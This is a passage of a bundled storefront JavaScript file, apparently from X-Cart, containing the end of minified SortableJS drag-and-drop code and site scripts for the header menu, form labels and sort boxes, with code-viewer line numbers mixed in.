7767ort,h=it||c,f=this,p=!1;if(!Dt){if(void 0!==n.preventDefault&&n.cancelable&&n.preventDefault(),s=P(s,e.draggable,l,!0),M("dragOver"),Rt.eventCanceled)return p;if(z.contains(n.target)||s.animated&&s.animatingX&&s.animatingY||f._ignoreWhileAnimating===s)return N(!1);if(mt=!1,c&&!e.disabled&&(u?d||(r=!q.contains(z)):it===this||(this.lastPutMode=ot.checkPull(this,c,z,n))&&t.checkPut(this,c,z,n))){if(a="vertical"===this._getDirection(n,s),o=X(z),M("dragOverValid"),Rt.eventCanceled)return p;if(r)return G=q,O(),this._hideClone(),M("revert"),Rt.eventCanceled||(V?q.insertBefore(z,V):q.appendChild(z)),N(!0);var g=B(l,e.draggable);if(!g||function(t,e,n){var o=X(B(n.el,n.options.draggable));return e?t.clientX>o.right+10||t.clientX<=o.right&&t.clientY>o.bottom&&t.clientX>=o.left:t.clientX>o.right&&t.clientY>o.top||t.clientX<=o.right&&t.clientY>o.bottom+10}(n,a,this)&&!g.animated){if(g===z)return N(!1);if(g&&l===n.target&&(s=g),s&&(i=X(s)),!1!==Xt(q,l,z,o,s,i,n,!!s))return O(),l.appendChild(z),G=l,A(),N(!0)}else if(s.parentNode===l){i=X(s);var v,m,b,y=z.parentNode!==l,w=!function(t,e,n){var o=n?t.left:t.top,i=n?t.right:t.bottom,r=n?t.width:t.height,a=n?e.left:e.top,l=n?e.right:e.bottom,s=n?e.width:e.height;return o===a||i===l||o+r/2===a+s/2}(z.animated&&z.toRect||o,s.animated&&s.toRect||i,a),E=a?"top":"left",D=Y(s,"top","top")||Y(z,"top","top"),S=D?D.scrollTop:void 0;if(ht!==s&&(m=i[E],yt=!1,wt=!w&&e.invertSwap||y),0!==(v=function(t,e,n,o,i,r,a,l){var s=o?t.clientY:t.clientX,c=o?n.height:n.width,u=o?n.top:n.left,d=o?n.bottom:n.right,h=!1;if(!a)if(l&&pt<c*i){if(!yt&&(1===ft?u+c*r/2<s:s<d-c*r/2)&&(yt=!0),yt)h=!0;else if(1===ft?s<u+pt:d-pt<s)return-ft}else if(u+c*(1-i)/2<s&&s<d-c*(1-i)/2)return function(t){return F(z)<F(t)?1:-1}(e);if((h=h||a)&&(s<u+c*r/2||d-c*r/2<s))return u+c/2<s?1:-1;return 0}(n,s,i,a,w?1:e.swapThreshold,null==e.invertedSwapThreshold?e.swapThreshold:e.invertedSwapThreshold,wt,ht===s)))for(var _=F(z);_-=v,(b=G.children[_])&&("none"===R(b,"display")||b===U););if(0===v||b===s)return N(!1);ft=v;var C=(ht=s).nextElementSibling,T=!1,x=Xt(q,l,z,o,s,i,n,T=1===v);if(!1!==x)return 1!==x&&-1!==x||(T=1===x),Dt=!0,setTimeout(Bt,30),O(),T&&!C?l.appendChild(z):s.parentNode.insertBefore(z,T?C:s),D&&L(D,0,S-D.scrollTop),G=z.parentNode,void 0===m||wt||(pt=Math.abs(m-X(s)[E])),A(),N(!0)}if(l.contains(z))return N(!1)}return!1}function M(t,e){K(t,f,I({evt:n,isOwner:u,axis:a?"vertical":"horizontal",revert:r,dragRect:o,targetRect:i,canSort:d,fromSortable:h,target:s,completed:N,onMove:function(t,e){return Xt(q,l,z,o,t,X(t),n,e)},changed:A},e))}function O(){M("dragOverAnimationCapture"),f.captureAnimationState(),f!==h&&h.captureAnimationState()}function N(t){return M("dragOverCompleted",{insertion:t}),t&&(u?c._hideClone():c._showClone(f),f!==h&&(k(z,it?it.options.ghostClass:c.options.ghostClass,!1),k(z,e.ghostClass,!0)),it!==f&&f!==Rt.active?it=f:f===Rt.active&&it&&(it=null),h===f&&(f._ignoreWhileAnimating=s),f.animateAll(function(){M("dragOverAnimationComplete"),f._ignoreWhileAnimating=null}),f!==h&&(h.animateAll(),h._ignoreWhileAnimating=null)),(s===z&&!z.animated||s===l&&!s.animated)&&(ht=null),e.dragoverBubble||n.rootEl||s===document||(z.parentNode[j]._isOutsideThisEl(n.target),t||Pt(n)),!e.dragoverBubble&&n.stopPropagation&&n.stopPropagation(),p=!0}function A(){tt=F(z),nt=F(z,e.draggable),W({sortable:f,name:"change",toEl:l,newIndex:tt,newDraggableIndex:nt,originalEvent:n})}},_ignoreWhileAnimating:null,_offMoveEvents:function(){s(document,"mousemove",this._onTouchMove),s(document,"touchmove",this._onTouchMove),s(document,"pointermove",this._onTouchMove),s(document,"dragover",Pt),s(document,"mousemove",Pt),s(document,"touchmove",Pt)},_offUpEvents:function(){var t=this.el.ownerDocument;s(t,"mouseup",this._onDrop),s(t,"touchend",this._onDrop),s(t,"pointerup",this._onDrop),s(t,"touchcancel",this._onDrop),s(document,"selectstart",this)},_onDrop:function(t){var e=this.el,n=this.options;tt=F(z),nt=F(z,n.draggable),K("drop",this,{evt:t}),G=z&&z.parentNode,tt=F(z),nt=F(z,n.draggable),Rt.eventCanceled||(yt=wt=vt=!1,clearInterval(this._loopId),clearTimeout(this._dragStartTimer),Lt(this.cloneId),Lt(this._dragStartId),this.nativeDraggable&&(s(document,"drop",this),s(e,"dragstart",this._onDragStart)),this._offMoveEvents(),this._offUpEvents(),u&&R(document.body,"user-select",""),R(z,"transform",""),t&&(dt&&(t.cancelable&&t.preventDefault(),n.dropBubble||t.stopPropagation()),U&&U.parentNode&&U.parentNode.removeChild(U),(q===G||it&&"clone"!==it.lastPutMode)&&Q&&Q.parentNode&&Q.parentNode.removeChild(Q),z&&(this.nativeDraggable&&s(z,"dragend",this),Yt(z),z.style["will-change"]="",dt&&!vt&&k(z,it?it.options.ghostClass:this.options.ghostClass,!1),k(z,this.options.chosenClass,!1),W({sortable:this,name:"unchoose",toEl:G,newIndex:null,newDraggableIndex:null,originalEvent:t}
vendor: 4,187 bytes, line 7767
7767),q!==G?(0<=tt&&(W({rootEl:G,name:"add",toEl:G,fromEl:q,originalEvent:t}),W({sortable:this,name:"remove",toEl:G,originalEvent:t}),W({rootEl:G,name:"sort",toEl:G,fromEl:q,originalEvent:t}),W({sortable:this,name:"sort",toEl:G,originalEvent:t})),it&&it.save()):tt!==J&&0<=tt&&(W({sortable:this,name:"update",toEl:G,originalEvent:t}),W({sortable:this,name:"sort",toEl:G,originalEvent:t})),Rt.active&&(null!=tt&&-1!==tt||(tt=J,nt=et),W({sortable:this,name:"end",toEl:G,originalEvent:t}),this.save())))),this._nulling()},_nulling:function(){K("nulling",this),q=z=G=U=V=Q=Z=$=rt=at=dt=tt=nt=J=et=ht=ft=it=ot=Rt.dragged=Rt.ghost=Rt.clone=Rt.active=null,St.forEach(function(t){t.checked=!0}),St.length=lt=st=0},handleEvent:function(t){switch(t.type){case"drop":case"dragend":this._onDrop(t);break;case"dragenter":case"dragover":z&&(this._onDragOver(t),function(t){t.dataTransfer&&(t.dataTransfer.dropEffect="move");t.cancelable&&t.preventDefault()}(t));break;case"selectstart":t.preventDefault()}},toArray:function(){for(var t,e=[],n=this.el.children,o=0,i=n.length,r=this.options;o<i;o++)P(t=n[o],r.draggable,this.el,!1)&&e.push(t.getAttribute(r.dataIdAttr)||Ft(t));return e},sort:function(t,e){var o={},i=this.el;this.toArray().forEach(function(t,e){var n=i.children[e];P(n,this.options.draggable,i,!1)&&(o[t]=n)},this),e&&this.captureAnimationState(),t.forEach(function(t){o[t]&&(i.removeChild(o[t]),i.appendChild(o[t]))}),e&&this.animateAll()},save:function(){var t=this.options.store;t&&t.set&&t.set(this)},closest:function(t,e){return P(t,e||this.options.draggable,this.el,!1)},option:function(t,e){var n=this.options;if(void 0===e)return n[t];var o=O.modifyOption(this,t,e);n[t]=void 0!==o?o:e,"group"===t&&Nt(n)},destroy:function(){K("destroy",this);var t=this.el;t[j]=null,s(t,"mousedown",this._onTapStart),s(t,"touchstart",this._onTapStart),s(t,"pointerdown",this._onTapStart),this.nativeDraggable&&(s(t,"dragover",this),s(t,"dragenter",this)),Array.prototype.forEach.call(t.querySelectorAll("[draggable]"),function(t){t.removeAttribute("draggable")}),this._onDrop(),this._disableDelayedDragEvents(),bt.splice(bt.indexOf(this.el),1),this.el=t=null},_hideClone:function(){if(!$){if(K("hideClone",this),Rt.eventCanceled)return;R(Q,"display","none"),this.options.removeCloneOnHide&&Q.parentNode&&Q.parentNode.removeChild(Q),$=!0}},_showClone:function(t){if("clone"===t.lastPutMode){if($){if(K("showClone",this),Rt.eventCanceled)return;z.parentNode!=q||this.options.group.revertClone?V?q.insertBefore(Q,V):q.appendChild(Q):q.insertBefore(Q,z),this.options.group.revertClone&&this.animate(z,Q),R(Q,"display",""),$=!1}}else this._hideClone()}},_t&&d(document,"touchmove",function(t){(Rt.active||vt)&&t.cancelable&&t.preventDefault()}),Rt.utils={on:d,off:s,css:R,find:g,is:function(t,e){return!!P(t,e,t,!1)},extend:function(t,e){if(t&&e)for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t},throttle:D,closest:P,toggleClass:k,clone:S,index:F,nextTick:Ht,cancelNextTick:Lt,detectDirection:Ot,getChild:m},Rt.get=function(t){return t[j]},Rt.mount=function(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];e[0].constructor===Array&&(e=e[0]),e.forEach(function(t){if(!t.prototype||!t.prototype.constructor)throw"Sortable: Mounted plugin must be a constructor function, not ".concat({}.toString.call(t));t.utils&&(Rt.utils=I({},Rt.utils,t.utils)),O.mount(t)})},Rt.create=function(t,e){return new Rt(t,e)};var jt,Kt,Wt,zt,Gt,Ut,qt=[],Vt=!(Rt.version="1.13.0");function Zt(){qt.forEach(function(t){clearInterval(t.pid)}),qt=[]}function Qt(){clearInterval(Ut)}function $t(t){var e=t.originalEvent,n=t.putSortable,o=t.dragEl,i=t.activeSortable,r=t.dispatchSortableEvent,a=t.hideGhostForTarget,l=t.unhideGhostForTarget;if(e){var s=n||i;a();var c=e.changedTouches&&e.changedTouches.length?e.changedTouches[0]:e,u=document.elementFromPoint(c.clientX,c.clientY);l(),s&&!s.el.contains(u)&&(r("spill"),this.onSpill({dragEl:o,putSortable:n}))}}var Jt,te=D(function(n,t,e,o){if(t.scroll){var i,r=(n.touches?n.touches[0]:n).clientX,a=(n.touches?n.touches[0]:n).clientY,l=t.scrollSensitivity,s=t.scrollSpeed,c=A(),u=!1;Kt!==e&&(Kt=e,Zt(),jt=t.scroll,i=t.scrollFn,!0===jt&&(jt=H(e,!0))
vendor: 5,137 bytes, line 7767
7767);var d=0,h=jt;do{var f=h,p=X(f),g=p.top,v=p.bottom,m=p.left,b=p.right,y=p.width,w=p.height,E=void 0,D=void 0,S=f.scrollWidth,_=f.scrollHeight,C=R(f),T=f.scrollLeft,x=f.scrollTop;D=f===c?(E=y<S&&("auto"===C.overflowX||"scroll"===C.overflowX||"visible"===C.overflowX),w<_&&("auto"===C.overflowY||"scroll"===C.overflowY||"visible"===C.overflowY)):(E=y<S&&("auto"===C.overflowX||"scroll"===C.overflowX),w<_&&("auto"===C.overflowY||"scroll"===C.overflowY));var M=E&&(Math.abs(b-r)<=l&&T+y<S)-(Math.abs(m-r)<=l&&!!T),O=D&&(Math.abs(v-a)<=l&&x+w<_)-(Math.abs(g-a)<=l&&!!x);if(!qt[d])for(var N=0;N<=d;N++)qt[N]||(qt[N]={});qt[d].vx==M&&qt[d].vy==O&&qt[d].el===f||(qt[d].el=f,qt[d].vx=M,qt[d].vy=O,clearInterval(qt[d].pid),0==M&&0==O||(u=!0,qt[d].pid=setInterval(function(){o&&0===this.layer&&Rt.active._onTouchMove(Gt);var t=qt[this.layer].vy?qt[this.layer].vy*s:0,e=qt[this.layer].vx?qt[this.layer].vx*s:0;"function"==typeof i&&"continue"!==i.call(Rt.dragged.parentNode[j],e,t,n,Gt,qt[this.layer].el)||L(qt[this.layer].el,e,t)}.bind({layer:d}),24))),d++}while(t.bubbleScroll&&h!==c&&(h=H(h,!1)));Vt=u}},30);function ee(){}function ne(){}ee.prototype={startIndex:null,dragStart:function(t){var e=t.oldDraggableIndex;this.startIndex=e},onSpill:function(t){var e=t.dragEl,n=t.putSortable;this.sortable.captureAnimationState(),n&&n.captureAnimationState();var o=m(this.sortable.el,this.startIndex,this.options);o?this.sortable.el.insertBefore(e,o):this.sortable.el.appendChild(e),this.sortable.animateAll(),n&&n.animateAll()},drop:$t},a(ee,{pluginName:"revertOnSpill"}),ne.prototype={onSpill:function(t){var e=t.dragEl,n=t.putSortable||this.sortable;n.captureAnimationState(),e.parentNode&&e.parentNode.removeChild(e),n.animateAll()},drop:$t},a(ne,{pluginName:"removeOnSpill"});var oe,ie,re,ae,le,se=[],ce=[],ue=!1,de=!1,he=!1;function fe(o,i){ce.forEach(function(t,e){var n=i.children[t.sortableIndex+(o?Number(e):0)];n?i.insertBefore(t,n):i.appendChild(t)})}function pe(){se.forEach(function(t){t!==re&&t.parentNode&&t.parentNode.removeChild(t)})}return Rt.mount(new function(){function t(){for(var t in this.defaults={scroll:!0,scrollSensitivity:30,scrollSpeed:10,bubbleScroll:!0},this)"_"===t.charAt(0)&&"function"==typeof this[t]&&(this[t]=this[t].bind(this))}return t.prototype={dragStarted:function(t){var e=t.originalEvent;this.sortable.nativeDraggable?d(document,"dragover",this._handleAutoScroll):this.options.supportPointer?d(document,"pointermove",this._handleFallbackAutoScroll):e.touches?d(document,"touchmove",this._handleFallbackAutoScroll):d(document,"mousemove",this._handleFallbackAutoScroll)},dragOverCompleted:function(t){var e=t.originalEvent;this.options.dragOverBubble||e.rootEl||this._handleAutoScroll(e)},drop:function(){this.sortable.nativeDraggable?s(document,"dragover",this._handleAutoScroll):(s(document,"pointermove",this._handleFallbackAutoScroll),s(document,"touchmove",this._handleFallbackAutoScroll),s(document,"mousemove",this._handleFallbackAutoScroll)),Qt(),Zt(),clearTimeout(f),f=void 0},nulling:function(){Gt=Kt=jt=Vt=Ut=Wt=zt=null,qt.length=0},_handleFallbackAutoScroll:function(t){this._handleAutoScroll(t,!0)},_handleAutoScroll:function(e,n){var o=this,i=(e.touches?e.touches[0]:e).clientX,r=(e.touches?e.touches[0]:e).clientY,t=document.elementFromPoint(i,r);if(Gt=e,n||E||w||u){te(e,this.options,t,n);var a=H(t,!0);!Vt||Ut&&i===Wt&&r===zt||(Ut&&Qt(),Ut=setInterval(function(){var t=H(document.elementFromPoint(i,r),!0);t!==a&&(a=t,Zt()),te(e,o.options,t,n)},10),Wt=i,zt=r)}else{if(!this.options.bubbleScroll||H(t,!0)===A())return void Zt();te(e,this.options,H(t,!1),!1)}}},a(t,{pluginName:"scroll",initializeByDefault:!0})}),Rt.mount(ne,ee),Rt.mount(new function(){function t(){this.defaults={swapClass:"sortable-swap-highlight"}}return t.prototype={dragStart:function(t){var e=t.dragEl;Jt=e},dragOverValid:function(t){var e=t.completed,n=t.target,o=t.onMove,i=t.activeSortable,r=t.changed,a=t.cancel;if(i.options.swap){var l=this.sortable.el,s=this.options;if(n&&n!==l){var c=Jt;Jt=!1!==o(n)?(k(n,s.swapClass,!0),n):null,c&&c!==Jt&&k(c,s.swapClass,!1)}r(),e(!0),a()}},drop:function(t){var e=t.activeSortable,n=t.putSortable,o=t.dragEl,i=n||this.sortable,r=this.options;Jt&&k(Jt,r.swapClass,!1),Jt&&(r.swap||n&&n.options.swap)&&o!==Jt&&(i.captureAnimationState(),i!==e&&e.captureAnimationState(),function(t,e){var n,o,i=t.parentNode,r=e.parentNode;if(!i||!r||i.isEqualNode(e)||r.isEqualNode(t))return;n=F(t),o=F(e),i.isEqualNode(r)&&n<o&&o++;i.insertBefore(e,i.children[n]),r.insertBefore(t,r.children[o])}(o,Jt),i.animateAll(),i!==e&&e.animateAll())},nulling:function(){Jt=null}},a(t,{pluginName:"swap",eventProperties:function(){return{swapItem:Jt}}})}),Rt.mount(new function(){function t(o){for(var t in this)"_"===t.charAt(0)&&"function"==typeof this[t]&&(this[t]=this[t].bind(this));o.options.supportPointer?d(document,"pointerup",this._deselectMultiDrag):(d(document,"mouseup",this._deselectMultiDrag),d(document,"touchend",this._deselectMultiDrag)),d(document,"keydown",this._checkKeyDown),d(document,"keyup",this._checkKeyUp),this.defaults={selectedClass:"sortable-selected",multiDragKey:null,
vendor: 4,611 bytes, line 7767
7767setData:function(t,e){var n="";se.length&&ie===o?se.forEach(function(t,e){n+=(e?", ":"")+t.textContent}):n=e.textContent,t.setData("Text",n)}}}return t.prototype={multiDragKeyDown:!1,isMultiDrag:!1,delayStartGlobal:function(t){var e=t.dragEl;re=e},delayEnded:function(){this.isMultiDrag=~se.indexOf(re)},setupClone:function(t){var e=t.sortable,n=t.cancel;if(this.isMultiDrag){for(var o=0;o<se.length;o++)ce.push(S(se[o])),ce[o].sortableIndex=se[o].sortableIndex,ce[o].draggable=!1,ce[o].style["will-change"]="",k(ce[o],this.options.selectedClass,!1),se[o]===re&&k(ce[o],this.options.chosenClass,!1);e._hideClone(),n()}},clone:function(t){var e=t.sortable,n=t.rootEl,o=t.dispatchSortableEvent,i=t.cancel;this.isMultiDrag&&(this.options.removeCloneOnHide||se.length&&ie===e&&(fe(!0,n),o("clone"),i()))},showClone:function(t){var e=t.cloneNowShown,n=t.rootEl,o=t.cancel;this.isMultiDrag&&(fe(!1,n),ce.forEach(function(t){R(t,"display","")}),e(),le=!1,o())},hideClone:function(t){var e=this,n=(t.sortable,t.cloneNowHidden),o=t.cancel;this.isMultiDrag&&(ce.forEach(function(t){R(t,"display","none"),e.options.removeCloneOnHide&&t.parentNode&&t.parentNode.removeChild(t)}),n(),le=!0,o())},dragStartGlobal:function(t){t.sortable;!this.isMultiDrag&&ie&&ie.multiDrag._deselectMultiDrag(),se.forEach(function(t){t.sortableIndex=F(t)}),se=se.sort(function(t,e){return t.sortableIndex-e.sortableIndex}),he=!0},dragStarted:function(t){var e=this,n=t.sortable;if(this.isMultiDrag){if(this.options.sort&&(n.captureAnimationState(),this.options.animation)){se.forEach(function(t){t!==re&&R(t,"position","absolute")});var o=X(re,!1,!0,!0);se.forEach(function(t){t!==re&&_(t,o)}),ue=de=!0}n.animateAll(function(){ue=de=!1,e.options.animation&&se.forEach(function(t){C(t)}),e.options.sort&&pe()})}},dragOver:function(t){var e=t.target,n=t.completed,o=t.cancel;de&&~se.indexOf(e)&&(n(!1),o())},revert:function(t){var e=t.fromSortable,n=t.rootEl,o=t.sortable,i=t.dragRect;1<se.length&&(se.forEach(function(t){o.addAnimationState({target:t,rect:de?X(t):i}),C(t),t.fromRect=i,e.removeAnimationState(t)}),de=!1,function(o,i){se.forEach(function(t,e){var n=i.children[t.sortableIndex+(o?Number(e):0)];n?i.insertBefore(t,n):i.appendChild(t)})}(!this.options.removeCloneOnHide,n))},dragOverCompleted:function(t){var e=t.sortable,n=t.isOwner,o=t.insertion,i=t.activeSortable,r=t.parentEl,a=t.putSortable,l=this.options;if(o){if(n&&i._hideClone(),ue=!1,l.animation&&1<se.length&&(de||!n&&!i.options.sort&&!a)){var s=X(re,!1,!0,!0);se.forEach(function(t){t!==re&&(_(t,s),r.appendChild(t))}),de=!0}if(!n)if(de||pe(),1<se.length){var c=le;i._showClone(e),i.options.animation&&!le&&c&&ce.forEach(function(t){i.addAnimationState({target:t,rect:ae}),t.fromRect=ae,t.thisAnimationDuration=null})}else i._showClone(e)}},dragOverAnimationCapture:function(t){var e=t.dragRect,n=t.isOwner,o=t.activeSortable;if(se.forEach(function(t){t.thisAnimationDuration=null}),o.options.animation&&!n&&o.multiDrag.isMultiDrag){ae=a({},e);var i=v(re,!0);ae.top-=i.f,ae.left-=i.e}},dragOverAnimationComplete:function(){de&&(de=!1,pe())},drop:function(t){var e=t.originalEvent,n=t.rootEl,o=t.parentEl,i=t.sortable,r=t.dispatchSortableEvent,a=t.oldIndex,l=t.putSortable,s=l||this.sortable;if(e){var c=this.options,u=o.children;if(!he)if(c.multiDragKey&&!this.multiDragKeyDown&&this._deselectMultiDrag(),k(re,c.selectedClass,!~se.indexOf(re)),~se.indexOf(re))se.splice(se.indexOf(re),1),oe=null,N({sortable:i,rootEl:n,name:"deselect",targetEl:re,originalEvt:e});else{if(se.push(re),N({sortable:i,rootEl:n,name:"select",targetEl:re,originalEvt:e}),e.shiftKey&&oe&&i.el.contains(oe)){var d,h,f=F(oe),p=F(re);if(~f&&~p&&f!==p)for(d=f<p?(h=f,p):(h=p,f+1);h<d;h++)~se.indexOf(u[h])||(k(u[h],c.selectedClass,!0),se.push(u[h]),N({sortable:i,rootEl:n,name:"select",targetEl:u[h],originalEvt:e}))}else oe=re;ie=s}if(he&&this.isMultiDrag){if((o[j].options.sort||o!==n)&&1<se.length){var g=X(re),v=F(re,":not(."+this.options.selectedClass+")");if(!ue&&c.animation&&(re.thisAnimationDuration=null),s.captureAnimationState(),!ue&&(c.animation&&(re.fromRect=g,se.forEach(function(t){if(t.thisAnimationDuration=null,t!==re){var e=de?X(t):g;t.fromRect=e,s.addAnimationState({target:t,rect:e})}})),pe(),se.forEach(function(t){u[v]?o.insertBefore(t,u[v]):o.appendChild(t),v++}),a===F(re))){var m=!1;se.forEach(function(t){t.sortableIndex===F(t)||(m=!0)}),m&&r("update")}se.forEach(function(t){C(t)}),s.animateAll()}ie=s}(n===o||l&&"clone"!==l.lastPutMode)&&ce.forEach(function(t){t.parentNode&&t.parentNode.removeChild(t)})}},nullingGlobal:function(){this.isMultiDrag=he=!1,ce.length=0}
7767,destroyGlobal:function(){this._deselectMultiDrag(),s(document,"pointerup",this._deselectMultiDrag),s(document,"mouseup",this._deselectMultiDrag),s(document,"touchend",this._deselectMultiDrag),s(document,"keydown",this._checkKeyDown),s(document,"keyup",this._checkKeyUp)},_deselectMultiDrag:function(t){if(!(void 0!==he&&he||ie!==this.sortable||t&&P(t.target,this.options.draggable,this.sortable.el,!1)||t&&0!==t.button))for(;se.length;){var e=se[0];k(e,this.options.selectedClass,!1),se.shift(),N({sortable:this.sortable,rootEl:this.sortable.el,name:"deselect",targetEl:e,originalEvt:t})}},_checkKeyDown:function(t){t.key===this.options.multiDragKey&&(this.multiDragKeyDown=!0)},_checkKeyUp:function(t){t.key===this.options.multiDragKey&&(this.multiDragKeyDown=!1)}},a(t,{pluginName:"multiDrag",utils:{select:function(t){var e=t.parentNode[j];e&&e.options.multiDrag&&!~se.indexOf(t)&&(ie&&ie!==e&&(ie.multiDrag._deselectMultiDrag(),ie=e),k(t,e.options.selectedClass,!0),se.push(t))},deselect:function(t){var e=t.parentNode[j],n=se.indexOf(t);e&&e.options.multiDrag&&~n&&(k(t,e.options.selectedClass,!1),se.splice(n,1))}},eventProperties:function(){var n=this,o=[],i=[];return se.forEach(function(t){var e;o.push({multiDragElement:t,index:t.sortableIndex}),e=de&&t!==re?-1:de?F(t,":not(."+n.options.selectedClass+")"):F(t),i.push({multiDragElement:t,index:e})}),{items:e(se),clones:[].concat(ce),oldIndicies:o,newIndicies:i}},optionListeners:{multiDragKey:function(t){return"ctrl"===(t=t.toLowerCase())?t="Control":1<t.length&&(t=t.charAt(0).toUpperCase()+t.substr(1)),t}}})}),Rt});; 7768/* AUTOGENERATED: top_menu.js */ 7769/* vim: set ts=2 sw=2 sts=2 et: */ 7770 7771/** 7772 * Script 7773 * 7774 * Copyright (c) 2011-present Qualiteam software Ltd. All rights reserved. 7775 * See https://www.x-cart.com/license-agreement.html for license details. 7776 */ 7777 7778jQuery().ready( 7779 function() { 7780 function xmLiFirstChildSetDefaultBgColor() { 7781 $('.xm-top-menu li.dropdown.select_your_truck a').css('background-color', '#121c2d'); 7782 } 7783 7784 function xmShowHeaders() { 7785 $('#header-top').css('display', 'block'); 7786 $('#header-bottom').css('display', 'block'); 7787 } 7788 7789 function xmHideHeaders() { 7790 $('#header-top').css('display', 'none'); 7791 $('#header-bottom').css('display', 'none'); 7792 } 7793 7794 function xmHideHeadersAndChangeStyle() { 7795 if ($('#header-top').css('display') !== 'none') { 7796 xmHideHeaders(); 7797 xmLiFirstChildSetDefaultBgColor(); 7798 } 7799 } 7800 7801 function xmShowBlockInHeader() { 7802 if (!$('.block-level-selector-container').hasClass('opened')) { 7803 $('.block-level-selector-container').addClass('opened'); 7804 } 7805 7806 if (!$('.block.block-block.block-level-selector.collapsed.sticky.initially-collapsed').hasClass('active')) { 7807 $('.block.block-block.block-level-selector.collapsed.sticky.initially-collapsed').addClass('active'); 7808 } 7809 } 7810 7811 $('.xm-top-menu li.dropdown-submenu a[data-toggle="dropdown"]').on('click', function(event) { 7812 event.preventDefault(); 7813 event.stopPropagation(); 7814 7815 $('.xm-top-menu li.dropdown-submenu').not($(this).parent()).removeClass('open'); 7816 $(this).parent().toggleClass('open'); 7817 }); 7818 7819 $('.xm-top-menu li.dropdown.select_your_truck').on('click', function(event) { 7820 xmShowBlockInHeader(); 7821 7822 if ($('#header-top').css('display') === 'none') { 7823 xmShowHeaders(); 7824 } 7825 else { 7826 xmHideHeaders(); 7827 } 7828 }); 7829 7830 $('.xm-top-menu .nav.navbar-nav li:not(.select_your_truck)').on('click', function(event) { 7831 xmHideHeadersAndChangeStyle(); 7832 }); 7833 7834 $(document).on('click', function(event) { 7835 if ( 7836 $('.xm-top-menu').css('display') === 'block' && 7837 !$('.block.block-block.block-level-selector').is(event.target) && 7838 $('.block.block-block.block-level-selector').has(event.target).length === 0 7839 ) { 7840 xmHideHeadersAndChangeStyle(); 7841 } 7842 }); 7843 7844 $('.xm-top-menu li.dropdown.select_your_truck a').hover( 7845 function () { 7846 // mouseover 7847 $(this).css('background-color', '#122b40'); 7848 }, 7849 function () { 7850 // onmouseout 7851 if ($('#header-top').css('display') === 'none') { 7852 xmLiFirstChildSetDefaultBgColor(); 7853 } 7854 else { 7855 $(this).css('background-color', '#000000'); 7856 } 7857 } 7858 ); 7859 7860 $(window).on('scroll', function() { 7861 if ( 7862 $('#header-top').css('display') !== 'none' && 7863 $('.block-level-selector-container .header-position-title').hasClass('active') 7864 ) { 7865 xmShowBlockInHeader(); 7866 } 7867 }); 7868 } 7869);; 7870/* AUTOGENERATED: scripts.js */ 7871/* vim: set ts=2 sw=2 sts=2 et: */ 7872 7873/** 7874 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 7875 * See https://www.x-cart.com/license-agreement.html for license details. 7876 */ 7877 7878/** 7879 * For the text input, set the handler that transforms the input's label depending on if the field is empty. 7880 * By default, text inputs should have placeholder and thus, labels can be transformed in CSS with a :placeholder-shown 7881 * rule. That handler should be set only for the fields w/o placeholders. 7882 * 7883 * @param {Element} el Text field. 7884 */
7885const setLabelHandler = (el) => { 7886 if (el && !el.classList.contains('handled')) { 7887 const handleFocusedClass = () => { 7888 if (el.querySelector('option[selected]') && el.classList.contains('focused')) { 7889 return 7890 } 7891 el.classList.toggle('focused', !!el.value); 7892 }; 7893 7894 ['focus', 'blue', 'change'].forEach(event => { 7895 el.addEventListener(event, handleFocusedClass); 7896 }); 7897 7898 el.classList.add('handled'); 7899 handleFocusedClass(); 7900 } 7901}; 7902 7903xcart.microhandlers.add( 7904 'LabelHandler', 7905 '.field__field:not(.handled):not([placeholder])', 7906 function () { 7907 setLabelHandler(this); 7908 } 7909); 7910 7911xcart.registerTriggersBind( 7912 'update-product-page', 7913 function () { 7914 document.querySelectorAll('.field__field:not(.handled)').forEach(elem => { 7915 setLabelHandler(elem); 7916 }); 7917 } 7918); 7919 7920function setPasswordDifficultyColor(elem, difficulty) { 7921 elem.toggleClass('weak', (difficulty === 'Weak password')); 7922 elem.toggleClass('good', (difficulty === 'Good password')); 7923 elem.toggleClass('strong', (difficulty === 'Strong password')); 7924} 7925 7926xcart.microhandlers.add( 7927 'ProductSortHandler', 7928 '.sort-box:not(.handled)', 7929 function () { 7930 const labelContainer = this.querySelector('.sort-box__label-container'); 7931 7932 if (labelContainer) { 7933 labelContainer.addEventListener('click', () => { 7934 labelContainer.classList.toggle('sort-box__label-container--active'); 7935 }); 7936 7937 this.querySelectorAll('.sort-box__list-item-link').forEach(link => { 7938 link.addEventListener('click', () => { 7939 labelContainer.classList.remove('sort-box__label-container--active'); 7940 }); 7941 }); 7942 } 7943 7944 document.addEventListener('click', (e) => { 7945 if (e.target && !xcart.parents(e.target, '.sort-box').length) { 7946 this.querySelectorAll('.sort-box__label-container--active').forEach(elem => { 7947 elem.classList.remove('sort-box__label-container--active'); 7948 }); 7949 } 7950 }); 7951 7952 this.classList.add('handled'); 7953 } 7954); 7955 7956/** 7957 * Get the active window height - w/o the header area, bottom menu (in case it's visible), etc. 7958 * 7959 * @return {number} Active window height. 7960 */ 7961function getActiveWindowHeight() { 7962 window.activeWindowHeight = window.innerHeight; 7963 7964 const headerArea = document.getElementById('header-area'); 7965 if (headerArea) { 7966 window.activeWindowHeight -= headerArea.getBoundingClientRect().height; 7967 } 7968 7969 const bottomPanel = document.querySelector('.bottom-panel'); 7970 if (bottomPanel) { 7971 window.activeWindowHeight -= headerArea.getBoundingClientRect().height; 7972 } 7973 7974 document.dispatchEvent(new Event('calculateActiveWindowHeight')); // window.activeWindowHeight is expected to be 7975 // changed here. 7976 return window.activeWindowHeight; 7977} 7978 7979function getActiveWindowTop() { 7980 window.stickyWindowTop = 0; 7981 7982 const headerArea = document.getElementById('header-area'); 7983 if (headerArea) { 7984 window.stickyWindowTop += headerArea.getBoundingClientRect().height; 7985 } 7986 7987 document.dispatchEvent(new Event('calculateStickyWindowTop')); 7988 7989 return window.stickyWindowTop; 7990} 7991 7992function getPreloaderSVG() { 7993 return '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" preserveAspectRatio="xMidYMid" style="margin:auto;background:0 0;display:block;shape-rendering:auto" viewBox="0 0 100 100"><rect width="7" height="13" x="46.5" y="24.5" fill="currentColor" rx="3.5" ry="6.5"><animate attributeName="opacity" begin="-0.8888888888888888s" dur="1s" keyTimes="0;1" repeatCount="indefinite" values="1;0"/></rect><rect width="7" height="13" x="46.5" y="24.5" 